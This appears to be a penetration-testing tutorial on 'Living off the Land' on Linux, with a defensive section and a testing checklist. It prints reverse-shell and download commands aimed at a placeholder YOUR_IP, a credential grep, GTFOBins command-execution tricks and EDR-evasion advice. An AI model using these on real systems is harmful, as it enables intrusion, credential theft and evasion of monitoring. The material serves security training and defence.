Living off the Land on Linux

“Living off the Land” (LOTL) is operating using only the tools that already exist on the system, without uploading your own binaries. Why? Because uploading tools leaves files the EDR scans and that expose the intrusion; using legitimate system binaries (bash, python, curl, tar, the distro’s own) blends in with normal activity. It’s key to stealth in post-exploitation and often the only option when you can’t write to disk.

The principle

Every legitimate binary has “extra” functions that can be diverted for offensive ends: download files, open shells, read protected data, execute code, exfiltrate. GTFOBins catalogs exactly these capabilities per binary. LOTL is knowing what’s installed and squeezing it.

File transfer without external tools

# download with whatever's there
curl http://YOUR_IP/f -o f ; wget http://YOUR_IP/f
# if no curl/wget: pure bash
exec 3<>/dev/tcp/YOUR_IP/80; echo -e "GET /f HTTP/1.0\n" >&3; cat <&3 > f
# python / perl / php / ruby as downloaders
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://YOUR_IP/f","f")'
# serve files from the target
python3 -m http.server 8000
# encode/decode for text channels
base64 file   # -> paste -> base64 -d on the other side

Shells and execution without uploaded binaries

# reverse shells with what's there (see fund-cli)
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
python3 -c 'import socket,subprocess,os;...'    # python reverse shell
# execution from already-installed interpreters (perl, php, ruby, nc, socat)
# stabilize the TTY with python pty (see fund-cli)

Enumeration and looting with native binaries

# everything in lin-enum is done with find/grep/cat/ls/ps/ss -> already there
find / -perm -4000 2>/dev/null       # SUID (native)
grep -rni password /etc 2>/dev/null  # credentials (native)
# avoid uploading linpeas: do it by hand if stealth is critical

GTFOBins for offensive LOTL

# examples of "diverting" legitimate binaries
tar, zip     -> run commands (--checkpoint-action, -TT)
find -exec   -> execution
awk, sed, vi -> shell / file reading
openssl      -> encrypt/exfiltrate, even as client/server
systemd-run  -> execute in another context

Why it matters (stealth)

No file IOCs: you don’t upload malware that signatures/EDR detect.
Blends in: curl, python, and tar are constant legitimate activity.
Sometimes mandatory: read-only FS, no write permission, no outbound network to download tools.
It’s the basis of the fileless approach and of evasion on Linux (parallel to LOLBAS on Windows, see Defense Evasion (AMSI / AV / EDR)).

For the defense

Execution logging (auditd, eBPF): record which binaries run and with what arguments, not just which files appear.
Behavior detection: bash -i to /dev/tcp, python -c with sockets, tar --checkpoint-action, anomalous curl/openssl use.
Reduce binaries: minimal images (distroless) in containers; remove unnecessary interpreters/tools.
Egress filtering (stops downloads and reverse shells) and AppArmor/SELinux (confine what each process can do).
Linux EDR that understands LOTL, not just file signatures.

Testing checklist

Inventory which binaries/interpreters exist (which python curl wget nc socat perl)
Transfer files without uploading tools (curl/bash /dev/tcp/python)
Reverse shell with native binaries (bash/python)
Enumeration by hand with find/grep/ps (avoid linpeas if stealth needed)
Divert legitimate binaries via GTFOBins (tar/find/awk/openssl)
Exfiltrate over existing channels (DNS/HTTP, base64)
Minimize files written to disk
Blue: is there execution logging and behavior detection?